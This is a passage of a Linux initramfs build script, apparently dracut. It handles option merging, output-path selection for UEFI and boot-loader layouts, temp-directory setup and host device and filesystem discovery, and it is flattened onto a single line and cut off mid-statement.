fw_dir="${fw_dir_l[*]}" ((${#libdirs_l[@]})) && libdirs="${libdirs_l[*]}" [[ $stdloglvl_l ]] && stdloglvl=$stdloglvl_l [[ ! $stdloglvl ]] && stdloglvl=4 stdloglvl=$((stdloglvl + verbosity_mod_l)) ((stdloglvl > 6)) && stdloglvl=6 ((stdloglvl < 0)) && stdloglvl=0 [[ $drivers_dir_l ]] && drivers_dir=$drivers_dir_l [[ $do_strip_l ]] && do_strip=$do_strip_l [[ $do_strip ]] || do_strip=yes [[ $aggresive_strip_l ]] && aggresive_strip=$aggresive_strip_l [[ $do_hardlink_l ]] && do_hardlink=$do_hardlink_l [[ $do_hardlink ]] || do_hardlink=yes [[ $prefix_l ]] && prefix=$prefix_l [[ $prefix == "/" ]] && unset prefix [[ $hostonly_l ]] && hostonly=$hostonly_l [[ $hostonly_cmdline_l ]] && hostonly_cmdline=$hostonly_cmdline_l [[ $hostonly_mode_l ]] && hostonly_mode=$hostonly_mode_l [[ $hostonly == "yes" ]] && ! [[ $hostonly_cmdline ]] && hostonly_cmdline="yes" # shellcheck disable=SC2034 [[ $i18n_install_all_l ]] && i18n_install_all=$i18n_install_all_l # shellcheck disable=SC2034 [[ $persistent_policy_l ]] && persistent_policy=$persistent_policy_l [[ $use_fstab_l ]] && use_fstab=$use_fstab_l [[ $mdadmconf_l ]] && mdadmconf=$mdadmconf_l [[ $lvmconf_l ]] && lvmconf=$lvmconf_l [[ $dracutbasedir ]] || dracutbasedir="$dracutsysrootdir"/usr/lib/dracut [[ $fw_dir ]] || { fw_path_para=$(< /sys/module/firmware_class/parameters/path) fw_dir="${fw_path_para:+$dracutsysrootdir$fw_path_para:}$dracutsysrootdir/lib/firmware/updates/$kernel:$dracutsysrootdir/lib/firmware/updates:$dracutsysrootdir/lib/firmware/$kernel:$dracutsysrootdir/lib/firmware" } [[ $tmpdir_l ]] && tmpdir="$tmpdir_l" [[ $tmpdir ]] || tmpdir="$TMPDIR" [[ $tmpdir ]] || tmpdir="$dracutsysrootdir"/var/tmp [[ $INITRD_COMPRESS ]] && compress=$INITRD_COMPRESS [[ $compress_l ]] && compress=$compress_l [[ $squash_compress_l ]] && squash_compress=$squash_compress_l [[ $enhanced_cpio_l ]] && enhanced_cpio=$enhanced_cpio_l [[ $show_modules_l ]] && show_modules=$show_modules_l [[ $nofscks_l ]] && nofscks="yes" [[ $ro_mnt_l ]] && ro_mnt="yes" [[ $early_microcode_l ]] && early_microcode=$early_microcode_l [[ $early_microcode ]] || early_microcode=yes [[ $early_microcode_image_dir ]] || early_microcode_image_dir=('/boot') [[ $early_microcode_image_name ]] \ || early_microcode_image_name=('intel-uc.img' 'intel-ucode.img' 'amd-uc.img' 'amd-ucode.img' 'early_ucode.cpio' 'microcode.cpio') [[ $logfile_l ]] && logfile="$logfile_l" [[ $reproducible_l ]] && reproducible="$reproducible_l" [[ $loginstall_l ]] && loginstall="$loginstall_l" [[ $uefi_l ]] && uefi=$uefi_l [[ $uefi_stub_l ]] && uefi_stub="$uefi_stub_l" [[ $uefi_splash_image_l ]] && uefi_splash_image="$uefi_splash_image_l" [[ $kernel_image_l ]] && kernel_image="$kernel_image_l" [[ $sbat_l ]] && sbat="$sbat_l" [[ $machine_id_l ]] && machine_id="$machine_id_l" if ! [[ $outfile ]]; then if [[ $machine_id != "no" ]]; then if [[ -d "$dracutsysrootdir"/efi/Default ]] \ || [[ -d "$dracutsysrootdir"/boot/Default ]] \ || [[ -d "$dracutsysrootdir"/boot/efi/Default ]]; then MACHINE_ID="Default" elif [[ -f "$dracutsysrootdir"/etc/machine-id ]]; then read -r MACHINE_ID < "$dracutsysrootdir"/etc/machine-id else MACHINE_ID="Default" fi fi if [[ $uefi == "yes" ]]; then # shellcheck disable=SC2154 if [[ -n $uefi_secureboot_key && -z $uefi_secureboot_cert ]] || [[ -z $uefi_secureboot_key && -n $uefi_secureboot_cert ]]; then printf "%s\n" "dracut: Need 'uefi_secureboot_key' and 'uefi_secureboot_cert' both to be set." >&2 exit 1 fi if [[ -n $uefi_secureboot_key && -n $uefi_secureboot_cert ]] && ! command -v sbsign &> /dev/null; then printf "%s\n" "dracut: Need 'sbsign' to create a signed UEFI executable." >&2 exit 1 fi BUILD_ID=$(cat "$dracutsysrootdir"/etc/os-release "$dracutsysrootdir"/usr/lib/os-release \ | while read -r line || [[ $line ]]; do [[ $line =~ BUILD_ID\=* ]] && eval "$line" && echo "$BUILD_ID" && break done) if [[ -z $dracutsysrootdir ]]; then if [[ -d /efi ]] && mountpoint -q /efi; then efidir=/efi/EFI else efidir=/boot/EFI if [[ -d /boot/efi/EFI ]]; then efidir=/boot/efi/EFI fi fi else efidir=/boot/EFI if [[ -d $dracutsysrootdir/boot/efi/EFI ]]; then efidir=/boot/efi/EFI fi fi mkdir -p "$dracutsysrootdir$efidir/Linux" outfile="$dracutsysrootdir$efidir/Linux/linux-$kernel${MACHINE_ID:+-${MACHINE_ID}}${BUILD_ID:+-${BUILD_ID}}.efi" else if [[ -d "$dracutsysrootdir"/efi/loader/entries || -L "$dracutsysrootdir"/efi/loader/entries ]] \ && [[ $MACHINE_ID ]] \ && [[ -d "$dracutsysrootdir"/efi/${MACHINE_ID} || -L "$dracutsysrootdir"/efi/${MACHINE_ID} ]]; then outfile="$dracutsysrootdir/efi/${MACHINE_ID}/${kernel}/initrd" elif [[ -d "$dracutsysrootdir"/boot/loader/entries || -L "$dracutsysrootdir"/boot/loader/entries ]] \ && [[ $MACHINE_ID ]] \ && [[ -d "$dracutsysrootdir"/boot/${MACHINE_ID} || -L "$dracutsysrootdir"/boot/${MACHINE_ID} ]]; then outfile="$dracutsysrootdir/boot/${MACHINE_ID}/${kernel}/initrd" elif [[ -d "$dracutsysrootdir"/boot/efi/loader/entries || -L "$dracutsysrootdir"/boot/efi/loader/entries ]] \ && [[ $MACHINE_ID ]] \ && [[ -d "$dracutsysrootdir"/boot/efi/${MACHINE_ID} || -L "$dracutsysrootdir"/boot/efi/${MACHINE_ID} ]]; then outfile="$dracutsysrootdir/boot/efi/${MACHINE_ID}/${kernel}/initrd" elif [[ -f "$dracutsysrootdir"/lib/modules/${kernel}/initrd ]]; then outfile="$dracutsysrootdir/lib/modules/${kernel}/initrd" elif [[ -e $dracutsysrootdir/boot/vmlinuz-${kernel} ]]; then outfile="$dracutsysrootdir/boot/initramfs-${kernel}.img" elif [[ -z $dracutsysrootdir ]] \ && [[ $MACHINE_ID ]] \ && mountpoint -q /efi; then outfile="/efi/${MACHINE_ID}/${kernel}/initrd" elif [[ -z $dracutsysrootdir ]] \ && [[ $MACHINE_ID ]] \ && mountpoint -q /boot/efi; then outfile="/boot/efi/${MACHINE_ID}/${kernel}/initrd" else outfile="$dracutsysrootdir/boot/initramfs-${kernel}.img" fi fi fi # eliminate IFS hackery when messing with fw_dir export DRACUT_FIRMWARE_PATH=${fw_dir// /:} fw_dir=${fw_dir//:/ } # check for logfile and try to create one if it doesn't exist if [[ -n $logfile ]]; then if [[ ! -f $logfile ]]; then if touch "$logfile"; then printf "%s\n" "dracut: touch $logfile failed." >&2 fi fi fi # handle compression options. DRACUT_COMPRESS_BZIP2=${DRACUT_COMPRESS_BZIP2:-bzip2} DRACUT_COMPRESS_LBZIP2=${DRACUT_COMPRESS_LBZIP2:-lbzip2} DRACUT_COMPRESS_LZMA=${DRACUT_COMPRESS_LZMA:-lzma} DRACUT_COMPRESS_XZ=${DRACUT_COMPRESS_XZ:-xz} DRACUT_COMPRESS_GZIP=${DRACUT_COMPRESS_GZIP:-gzip} DRACUT_COMPRESS_PIGZ=${DRACUT_COMPRESS_PIGZ:-pigz} DRACUT_COMPRESS_LZOP=${DRACUT_COMPRESS_LZOP:-lzop} DRACUT_COMPRESS_ZSTD=${DRACUT_COMPRESS_ZSTD:-zstd} DRACUT_COMPRESS_LZ4=${DRACUT_COMPRESS_LZ4:-lz4} DRACUT_COMPRESS_CAT=${DRACUT_COMPRESS_CAT:-cat} if [[ $_no_compress_l == "$DRACUT_COMPRESS_CAT" ]]; then compress="$DRACUT_COMPRESS_CAT" fi [[ $hostonly == yes ]] && hostonly="-h" [[ $hostonly != "-h" ]] && unset hostonly case $hostonly_mode in '') [[ $hostonly ]] && hostonly_mode="sloppy" ;; sloppy | strict) if [[ ! $hostonly ]]; then unset hostonly_mode fi ;; *) printf "%s\n" "dracut: Invalid hostonly mode '$hostonly_mode'." >&2 exit 1 ;; esac [[ $reproducible == yes ]] && DRACUT_REPRODUCIBLE=1 case "${drivers_dir}" in '' | *lib/modules/${kernel} | *lib/modules/${kernel}/) ;; *) [[ "$DRACUT_KMODDIR_OVERRIDE" ]] || { printf "%s\n" 'dracut: -k/--kmoddir path must contain "lib/modules" as a parent of your kernel module directory,' printf "%s\n" "dracut: or modules may not be placed in the correct location inside the initramfs." printf "%s\n" "dracut: was given: ${drivers_dir}" printf "%s\n" "dracut: expected: $(dirname "${drivers_dir}")/lib/modules/${kernel}" printf "%s\n" "dracut: Please move your modules into the correct directory structure and pass the new location," printf "%s\n" "dracut: or set DRACUT_KMODDIR_OVERRIDE=1 to ignore this check." exit 1 } ;; esac # shellcheck disable=SC2155 readonly TMPDIR="$(realpath -e "$tmpdir")" [ -d "$TMPDIR" ] || { printf "%s\n" "dracut: Invalid tmpdir '$tmpdir'." >&2 exit 1 } if findmnt --raw -n --target "$tmpdir" --output=options | grep -q noexec; then [[ $debug == yes ]] && printf "%s\n" "dracut: Tmpdir '$tmpdir' is mounted with 'noexec'." noexec=1 fi # shellcheck disable=SC2155 readonly DRACUT_TMPDIR="$(mktemp -p "$TMPDIR/" -d -t dracut.XXXXXX)" [ -d "$DRACUT_TMPDIR" ] || { printf "%s\n" "dracut: mktemp -p '$TMPDIR/' -d -t dracut.XXXXXX failed." >&2 exit 1 } # Cache file used to optimize get_maj_min() declare -x -r get_maj_min_cache_file="${DRACUT_TMPDIR}/majmin_cache" : > "$get_maj_min_cache_file" # clean up after ourselves no matter how we die. trap ' ret=$?; [[ $keep ]] && echo "Not removing $DRACUT_TMPDIR." >&2 || { [[ $DRACUT_TMPDIR ]] && rm -rf -- "$DRACUT_TMPDIR"; }; if [[ ${FSFROZEN} ]]; then fsfreeze -u "${FSFROZEN}" fi exit $ret; ' EXIT # clean up after ourselves no matter how we die. trap 'exit 1;' SIGINT readonly initdir="${DRACUT_TMPDIR}/initramfs" mkdir -p "$initdir" # shellcheck disable=SC2154 if [[ $early_microcode == yes ]] || { [[ $acpi_override == yes ]] && [[ -d $acpi_table_dir ]]; }; then readonly early_cpio_dir="${DRACUT_TMPDIR}/earlycpio" mkdir "$early_cpio_dir" fi [[ "$dracutsysrootdir" ]] || [[ "$noexec" ]] || export DRACUT_RESOLVE_LAZY="1" if [[ $print_cmdline ]]; then stdloglvl=0 sysloglvl=0 fileloglvl=0 kmsgloglvl=0 fi if [[ -f $dracutbasedir/dracut-version.sh ]]; then # shellcheck source=./dracut-version.sh . "$dracutbasedir"/dracut-version.sh fi if systemd-detect-virt -c &> /dev/null; then export DRACUT_NO_MKNOD=1 DRACUT_NO_XATTR=1 if [[ $hostonly ]]; then printf "%s\n" "dracut: WARNING: running in hostonly mode in a container!!" fi fi if [[ -f $dracutbasedir/dracut-init.sh ]]; then # shellcheck source=./dracut-init.sh . "$dracutbasedir"/dracut-init.sh else printf "%s\n" "dracut: Cannot find $dracutbasedir/dracut-init.sh." >&2 printf "%s\n" "dracut: Are you running from a git checkout?" >&2 printf "%s\n" "dracut: Try passing -l as an argument to $dracut_cmd" >&2 exit 1 fi if [[ $enhanced_cpio == "yes" ]]; then enhanced_cpio="$dracutbasedir/dracut-cpio" if [[ -x $enhanced_cpio ]]; then # align based on statfs optimal transfer size cpio_align=$(stat --file-system -c "%s" -- "$initdir") else dinfo "--enhanced-cpio ignored due to lack of dracut-cpio" unset enhanced_cpio fi else unset enhanced_cpio fi # shellcheck disable=SC2154 if [[ $no_kernel != yes ]] && ! [[ -d $srcmods ]]; then printf "%s\n" "dracut: Cannot find module directory $srcmods" >&2 printf "%s\n" "dracut: and --no-kernel was not specified" >&2 exit 1 fi if ! [[ $print_cmdline ]]; then inst "$DRACUT_TESTBIN" if ! $DRACUT_INSTALL ${initdir:+-D "$initdir"} ${dracutsysrootdir:+-r "$dracutsysrootdir"} -R "$DRACUT_TESTBIN" &> /dev/null; then unset DRACUT_RESOLVE_LAZY export DRACUT_RESOLVE_DEPS=1 fi rm -fr -- "${initdir:?}"/* fi dracutfunctions=$dracutbasedir/dracut-functions.sh export dracutfunctions ((${#drivers_l[@]})) && drivers="${drivers_l[*]}" drivers=${drivers/-/_} ((${#add_drivers_l[@]})) && add_drivers+=" ${add_drivers_l[*]} " add_drivers=${add_drivers/-/_} ((${#force_drivers_l[@]})) && force_drivers+=" ${force_drivers_l[*]} " force_drivers=${force_drivers/-/_} ((${#omit_drivers_l[@]})) && omit_drivers+=" ${omit_drivers_l[*]} " omit_drivers=${omit_drivers/-/_} ((${#kernel_cmdline_l[@]})) && kernel_cmdline+=" ${kernel_cmdline_l[*]} " omit_drivers_corrected="" for d in $omit_drivers; do [[ " $drivers $add_drivers " == *\ $d\ * ]] && continue [[ " $drivers $force_drivers " == *\ $d\ * ]] && continue omit_drivers_corrected+="$d|" done omit_drivers="${omit_drivers_corrected%|}" unset omit_drivers_corrected # prepare args for logging for ((i = 0; i < ${#dracut_args[@]}; i++)); do [[ ${dracut_args[$i]} == *\ * ]] \ && dracut_args[$i]="\"${dracut_args[$i]}\"" #" keep vim happy done dinfo "Executing: $dracut_cmd ${dracut_args[*]}" [[ $do_list == yes ]] && { for mod in "$dracutbasedir"/modules.d/*; do [[ -d $mod ]] || continue [[ -e $mod/install || -e $mod/installkernel || -e $mod/module-setup.sh ]] || continue printf "%s\n" "${mod##*/??}" done exit 0 } # This is kinda legacy -- eventually it should go away. case $dracutmodules in "" | auto) dracutmodules="all" ;; esac abs_outfile=$(readlink -f "$outfile") && outfile="$abs_outfile" [[ -d $dracutsysrootdir$systemdutildir ]] \ || systemdutildir=$(pkg-config systemd --variable=systemdutildir 2> /dev/null) if ! [[ -d $dracutsysrootdir$systemdutildir ]]; then [[ -e $dracutsysrootdir/lib/systemd/systemd-udevd ]] && systemdutildir=/lib/systemd [[ -e $dracutsysrootdir/usr/lib/systemd/systemd-udevd ]] && systemdutildir=/usr/lib/systemd fi [[ -d $dracutsysrootdir$systemdutilconfdir ]] \ || systemdutilconfdir=$(pkg-config systemd --variable=systemdutilconfdir 2> /dev/null) [[ -d $dracutsysrootdir$systemdutilconfdir ]] || systemdutilconfdir=/etc/systemd if [[ $no_kernel != yes ]] && [[ -d $srcmods ]]; then if ! [[ -f $srcmods/modules.dep ]]; then if [[ -n "$(find "$srcmods" -name '*.ko*')" ]]; then dfatal "$srcmods/modules.dep is missing. Did you run depmod?" exit 1 else dwarn "$srcmods/modules.dep is missing. Did you run depmod?" fi fi fi if [[ ! $print_cmdline ]]; then if [[ -f $outfile && ! $force ]]; then dfatal "Will not override existing initramfs ($outfile) without --force" exit 1 fi outdir=${outfile%/*} [[ $outdir ]] || outdir="/" if [[ ! -d $outdir ]]; then dfatal "Can't write to $outdir: Directory $outdir does not exist or is not accessible." exit 1 elif [[ ! -w $outdir ]]; then dfatal "No permission to write to $outdir." exit 1 elif [[ -f $outfile && ! -w $outfile ]]; then dfatal "No permission to write $outfile." exit 1 fi if [[ $loginstall ]]; then if ! mkdir -p "$loginstall"; then dfatal "Could not create directory to log installed files to '$loginstall'." exit 1 fi loginstall=$(readlink -f "$loginstall") fi if [[ $uefi == yes ]]; then if ! command -v objcopy &> /dev/null; then dfatal "Need 'objcopy' to create a UEFI executable" exit 1 fi unset EFI_MACHINE_TYPE_NAME case $(uname -m) in x86_64) EFI_MACHINE_TYPE_NAME=x64 ;; i?86) EFI_MACHINE_TYPE_NAME=ia32 ;; aarch64) EFI_MACHINE_TYPE_NAME=aa64 ;; *) dfatal "Architecture '$(uname -m)' not supported to create a UEFI executable" exit 1 ;; esac if ! [[ -s $uefi_stub ]]; then uefi_stub="$dracutsysrootdir${systemdutildir}/boot/efi/linux${EFI_MACHINE_TYPE_NAME}.efi.stub" fi if ! [[ -s $uefi_stub ]]; then dfatal "Can't find a uefi stub '$uefi_stub' to create a UEFI executable" exit 1 fi if ! [[ $kernel_image ]]; then for kernel_image in "$dracutsysrootdir/lib/modules/$kernel/vmlinuz" "$dracutsysrootdir/boot/vmlinuz-$kernel"; do [[ -s $kernel_image ]] || continue break done fi if ! [[ -s $kernel_image ]]; then dfatal "Can't find a kernel image '$kernel_image' to create a UEFI executable" exit 1 fi fi fi if [[ $acpi_override == yes ]] && ! (check_kernel_config CONFIG_ACPI_TABLE_UPGRADE || check_kernel_config CONFIG_ACPI_INITRD_TABLE_OVERRIDE); then dwarn "Disabling ACPI override, because kernel does not support it. CONFIG_ACPI_INITRD_TABLE_OVERRIDE!=y or CONFIG_ACPI_TABLE_UPGRADE!=y" unset acpi_override fi if [[ $early_microcode == yes ]]; then if [[ $hostonly ]]; then if [[ $(get_cpu_vendor) == "AMD" || $(get_cpu_vendor) == "Intel" ]]; then check_kernel_config CONFIG_MICROCODE || unset early_microcode else unset early_microcode fi else ! check_kernel_config CONFIG_MICROCODE \ && unset early_microcode fi # Do not complain on non-x86 architectures as it makes no sense case $(uname -m) in x86_64 | i?86) [[ $early_microcode != yes ]] \ && dwarn "Disabling early microcode, because kernel does not support it. CONFIG_MICROCODE!=y" ;; *) ;; esac fi # Need to be able to have non-root users read stuff (rpcbind etc) chmod 755 "$initdir" if [[ $hostonly ]]; then for i in /sys /proc /run /dev; do if ! findmnt --target "$i" &> /dev/null; then dwarning "Turning off host-only mode: '$i' is not mounted!" unset hostonly fi done fi declare -A host_fs_types for line in "${fstab_lines[@]}"; do # shellcheck disable=SC2086 set -- $line dev="$1" #dev mp fs fsopts case "$dev" in UUID=*) dev=$(blkid -l -t "UUID=${dev#UUID=}" -o device) ;; LABEL=*) dev=$(blkid -l -t "LABEL=${dev#LABEL=}" -o device) ;; PARTUUID=*) dev=$(blkid -l -t "PARTUUID=${dev#PARTUUID=}" -o device) ;; PARTLABEL=*) dev=$(blkid -l -t "PARTLABEL=${dev#PARTLABEL=}" -o device) ;; esac [ -z "$dev" ] && dwarn "Bad fstab entry $*" && continue if [[ $3 == btrfs ]]; then for mp in $(findmnt --source "$1" -o TARGET -n); do for i in $(btrfs_devs "$mp"); do push_host_devs "$i" done done elif [[ $3 == zfs ]]; then for mp in $(zfs_devs "$1"); do push_host_devs "$mp" done fi push_host_devs "$dev" host_fs_types["$dev"]="$3" done for f in $add_fstab; do [[ -e $f ]] || continue while read -r dev rest || [ -n "$dev" ]; do push_host_devs "$dev" done < "$f" done for dev in $add_device; do push_host_devs "$dev" done if ((${#add_device_l[@]})); then add_device+=" ${add_device_l[*]} " push_host_devs "${add_device_l[@]}" fi if [[ $hostonly ]] && [[ $hostonly_default_device != "no" ]]; then # in hostonly mode, determine all devices, which have to be accessed # and examine them for filesystem types for mp in \ "/" \ "/etc" \ "/bin" \ "/sbin" \ "/lib" \ "/lib64" \ "/usr" \ "/usr/bin" \ "/usr/sbin" \ "/usr/lib" \ "/usr/lib64" \ "/boot" \ "/boot/efi" \ "/boot/zipl"; do mp=$(readlink -f "$dracutsysrootdir$mp") mountpoint "$mp" > /dev/null 2>&1 || continue _dev=$(find_block_device "$mp") _bdev=$(readlink -f "/dev/block/$_dev") [[ -b $_bdev ]] && _dev=$_bdev [[ $mp == "/" ]] && root_devs+=("$_dev") push_host_devs "$_dev" if [[ $(find_mp_fstype "$mp") == btrfs ]]; then for i in $(btrfs_devs "$mp"); do [[ $mp == "/" ]] && root_devs+=("$i") push_host_devs "$i" done elif [[ $(find_mp_fstype "$mp") == zfs ]]; then for i in $(zfs_devs "$(findmnt -n -o SOURCE "$mp")"); do [[ $mp == "/" ]] && root_devs+=("$i") push_host_devs "$i" done fi done # TODO - with sysroot, /proc/swaps is not relevant if [[ -f /proc/swaps ]] && [[ -f $dracutsysrootdir/etc/fstab ]]; then while read -r dev type rest || [ -n "$dev" ]; do [[ -b $dev ]] || continue [[ $type == "partition" ]] || continue while read -r _d _m _t _o _ || [ -n "$_d" ]; do [[ $_d == \#* ]] && continue [[ $_d ]] || continue [[ $_t != "swap" ]] && continue [[ $_m != "swap" ]] && [[ $_m != "none" ]] && continue [[ $_o == *noauto* ]] && continue _d=$(expand_persistent_dev "$_d") [[ $_d -ef $dev ]] || continue if [[ -f $dracutsysrootdir/etc/crypttab ]]; then while read -r _mapper _ _p _o || [ -n "$_mapper" ]; do [[ $_mapper == \#* ]] && continue [[ $_d -ef /dev/mapper/"$_mapper" ]] || continue [[ "$_o" ]] || _o="$_p" # skip entries with password files [[ $_p == /* ]] && [[ -f $_p ]] && continue 2 # skip mkswap swap [[ $_o == *swap* ]] && continue 2 done < "$dracutsysrootdir"/etc/crypttab fi _dev="$(readlink -f "$dev")" push_host_devs "$_dev" swap_devs+=("$_dev") break done < "$dracutsysrootdir"/etc/fstab done < /proc/swaps fi # collect all "x-initrd.mount" entries from /etc/fstab if [[ -f $dracutsysrootdir/etc/fstab ]]; then while read -r _d _m _t _o _ || [ -n "$_d" ]; do [[ $_d == \#* ]] && continue [[ $_d ]] || continue [[ $_o != *x-initrd.mount* ]] && continue _dev=$(expand_persistent_dev "$_d") _dev="$(readlink -f "$_dev")" [[ -b $_dev ]] || continue push_host_devs "$_dev" if [[ $_t == btrfs ]]; then for i in $(btrfs_devs "$_m"); do push_host_devs "$i" done elif [[ $_t == zfs ]]; then for i in $(zfs_devs "$_d"); do push_host_devs "$i" done fi done < "$dracutsysrootdir"/etc/fstab fi fi unset m unset rest _get_fs_type() { [[ $1 ]] || return if [[ -b /dev/block/$1 ]]; then ID_FS_TYPE=$(get_fs_env "/dev/block/$1") && host_fs_types["$(readlink -f "/dev/block/$1")"]="$ID_FS_TYPE" return 1 fi if [[ -b $1 ]]; then ID_FS_TYPE=$(get_fs_env "$1") && host_fs_types["$(readlink -f "$1")"]="$ID_FS_TYPE" return 1 fi if fstype=$(find_dev_fstype "$1"); then host_fs_types["$1"]="$fstype" return 1 fi return 1 } for dev in "${host_devs[@]}"; do _get_fs_type "$dev" check_block_and_slaves_all _get_fs_type "$(get_maj_min "$dev")" done for dev in "${!host_fs_types[@]}"; do [[ ${host_fs_types[$dev]} == "reiserfs" ]] || [[ ${host_fs_types[$dev]} == "xfs" ]] || continue rootopts=$(find_dev_fsopts "$dev") if [[ ${host_fs_types[$dev]} == "reiserfs" ]]; then journaldev=$(fs_get_option "$rootopts" "jdev") elif [[ ${host_fs_types[$dev]} == "xfs" ]]; then journaldev=$(fs_get_option "$rootopts" "logdev") fi if [[ $journaldev ]]; then dev="$(readlink -f "$dev")" push_host_devs "$dev" _get_fs_type "$dev" check_block_and_slaves_all _get_fs_type "$(get_maj_min "$dev")" fi done [[ -d $dracutsysrootdir$dbus ]] \ || dbus=$(pkg-config dbus --variable=dbus 2> /dev/null) [[ -d $dracutsysrootdir$dbus ]] || dbus=/usr/share/dbus-1 [[ -d $dracutsysrootdir$dbusconfdir ]] \ || dbusconfdir=$(pkg-config dbus --variable=dbusconfdir 2> /dev/null) [[ -d $dracutsysrootdir$dbusconfdir ]] || dbusconfdir=/etc/dbus-1 [[ -d $dracutsysrootdir$dbusinterfaces ]] \ || dbusinterfaces=$(pkg-config dbus --variable=dbusinterfaces 2> /dev/null) [[ -d $dracutsysrootdir$dbusinterfaces ]] || dbusinterfaces=${dbus}/interfaces [[ -d $dracutsysrootdir$dbusinterfacesconfdir ]] \ || dbusinterfacesconfdir=$(pkg-config dbus --variable=dbusinterfacesconfdir 2> /dev/null) [[ -d $dracutsysrootdir$dbusinterfacesconfdir ]] || dbusinterfacesconfdir=${dbusconfdir}/interfaces [[ -d $dracutsysrootdir$dbusservices ]] \ || dbusservices=$(pkg-config dbus --variable=dbusservices 2> /dev/null) [[ -d $dracutsysrootdir$dbusservices ]] || dbusservices=${dbus}/services [[ -d $dracutsysrootdir$dbusservicesconfdir ]] \ || dbusservicesconfdir=$(pkg-config dbus --variable=dbusservicesconfdir 2> /dev/null) [[ -d $dracutsysrootdir$dbusservicesconfdir ]] || dbusservicesconfdir=${dbusconfdir}/services [[ -d $dracutsysrootdir$dbussession ]] \ || dbussession=$(pkg-config dbus --variable=dbussession 2> /dev/null) [[ -d $dracutsysrootdir$dbussession ]] || dbussession=${dbus}/session.d [[ -d $dracutsysrootdir$dbussessionconfdir ]] \ || dbussessionconfdir=$(pkg-config dbus --variable=dbussessionconfdir 2> /dev/null) [[ -d $dracutsysrootdir$dbussessionconfdir ]] || dbussessionconfdir=${dbusconfdir}/session.d [[ -d $dracutsysrootdir$dbussystem ]] \ || dbussystem=$(pkg-config dbus --variable=dbussystem 2> /dev/null) [[ -d $dracutsysrootdir$dbussystem ]] || dbussystem=${dbus}/system.d [[ -d $dracutsysrootdir$dbussystemconfdir ]] \ || dbussystemconfdir=$(pkg-config dbus --variable=dbussystemconfdir 2> /dev/null) [[ -d $dracutsysrootdir$dbussystemconfdir ]] || dbussystemconfdir=${dbusconfdir}/system.d [[ -d $dracutsysrootdir$dbussystemservices ]] \ || dbussystemservices=$(pkg-config dbus --variable=dbussystemservices 2> /dev/null) [[ -d $dracutsysrootdir$dbussystemservices ]] || dbussystemservices=${dbus}/system-services [[ -d $dracutsysrootdir$dbussystemservicesconfdir ]] \ || dbussystemservicesconfdir=$(pkg-config dbus --variable=dbussystemservicesconfdir 2> /dev/null) [[ -d $dracutsysrootdir$dbussystemservicesconfdir ]] || dbussystemservicesconfdir=${dbusconfdir}/system-services [[ -d $dracutsysrootdir$udevdir ]] \ || udevdir="$(pkg-config udev --variable=udevdir 2> /dev/null)" if ! [[ -d $dracutsysrootdir$udevdir ]]; then [[ -e $dracutsysrootdir/lib/udev/ata_id ]] && udevdir=/lib/udev [[ -e $dracutsysrootdir/usr/lib/udev/ata_id ]] && udevdir=/usr/lib/udev fi [[ -d $dracutsysrootdir$udevconfdir ]] \ || udevconfdir=$(pkg-config udev --variable=udevconfdir 2> /dev/null) [[ -d $dracutsysrootdir$udevconfdir ]] || udevconfdir=/etc/udev [[ -d $dracutsysrootdir$udevrulesdir ]] \ || udevrulesdir=$(pkg-config udev --variable=udevrulesdir 2> /dev/null) [[ -d $dracutsysrootdir$udevrulesdir ]] || udevrulesdir=${udevdir}/rules.d [[ -d $dracutsysrootdir$udevrulesconfdir ]] \ || udevrulesconfdir=$(pkg-config udev --variable=udevrulesconfdir 2> /dev/null) [[ -d $dracutsysrootdir$udevrulesconfdir ]] || udevrulesconfdir=${udevconfdir}/rules.d [[ -d $dracutsysrootdir$sysctld ]] \ || sysctld=$(pkg-config systemd --variable=sysctld 2> /dev/null) [[ -d $dracutsysrootdir$sysctld ]] || sysctld=/usr/lib/sysctl.d [[ -d $dracutsysrootdir$sysctlconfdir ]] \ || sysctlconfdir=$(pkg-config systemd --variable=sysctlconfdir 2> /dev/null) [[ -d $dracutsysrootdir$sysctlconfdir ]] || sysctlconfdir=/etc/sysctl.d [[ -d $dracutsysrootdir$environment ]] \ || environment=$(pkg-config systemd --variable=environment 2> /dev/null) [[ -d $dracutsysrootdir$environment ]] || environment=/usr/lib/environment.d [[ -d $dracutsysrootdir$environmentconfdir ]] \ || environmentconfdir=$(pkg-config systemd --variable=environmentconfdir 2> /dev/null) [[ -d $dracutsysrootdir$environmentconfdir ]] || environmentconfdir=/etc/environment.d [[ -d $dracutsysrootdir$systemdcatalog ]] \ || systemdcatalog=$(pkg-config systemd --variable=systemdcatalog 2> /dev/null) [[ -d $dracutsysrootdir$systemdcatalog ]] || systemdcatalog=${systemdutildir}/catalog [[ -d $dracutsysrootdir$modulesload ]] \ || modulesload=$(pkg-config systemd --variable=modulesload 2> /dev/null) [[ -d $dracutsysrootdir$modulesload ]] || modulesload=/usr/lib/modules-load.d [[ -d $dracutsysrootdir$modulesloadconfdir ]] \ || modulesloadconfdir=$(pkg-config systemd --variable=modulesloadconfdir 2> /dev/null) [[ -d $dracutsysrootdir$modulesloadconfdir ]] || modulesloadconfdir=/etc/modules-load.d [[ -d $dracutsysrootdir$systemdnetwork ]] \ || systemdnetwork=$(pkg-config systemd --variable=systemdnetwork 2> /dev/null) [[ -d $dracutsysrootdir$systemdnetwork ]] || systemdnetwork=${systemdutildir}/network [[ -d $dracutsysrootdir$systemdnetworkconfdir ]] \ || systemdnetworkconfdir=$(pkg-config systemd --variable=systemdnetworkconfdir 2> /dev/null) [[ -d $dracutsysrootdir$systemdnetworkconfdir ]] || systemdnetworkconfdir=${systemdutilconfdir}/network [[ -d $dracutsysrootdir$systemdntpunits ]] \ || systemdntpunits=$(pkg-config systemd --variable=systemdntpunits 2> /dev/null) [[ -d $dracutsysrootdir$systemdntpunits ]] || systemdntpunits=${systemdutildir}/ntp-units.d [[ -d $dracutsysrootdir$systemdntpunitsconfdir ]] \ || systemdntpunitsconfdir=$(pkg-config systemd --variable=systemdntpunitsconfdir 2> /dev/null) [[ -d $dracutsysrootdir$systemdntpunitsconfdir ]] || systemdntpunitsconfdir=${systemdutilconfdir}/ntp-units.d [[ -d $dracutsysrootdir$systemdportable ]] \ || systemdportable=$(pkg-config systemd --variable=systemdportable 2> /dev/null) [[ -d $dracutsysrootdir$systemdportable ]] || systemdportable=${systemdutildir}/portable [[ -d $dracutsysrootdir$systemdportableconfdir ]] \ || systemdportableconfdir=$(pkg-config systemd --variable=systemdportableconfdir 2> /dev/null) [[ -d "$dracutsysrootdir$systemdportableconfdir" ]] || systemdportableconfdir=${systemdutilconfdir}/portable [[ -d $dracutsysrootdir$systemdsystemunitdir ]] \ || 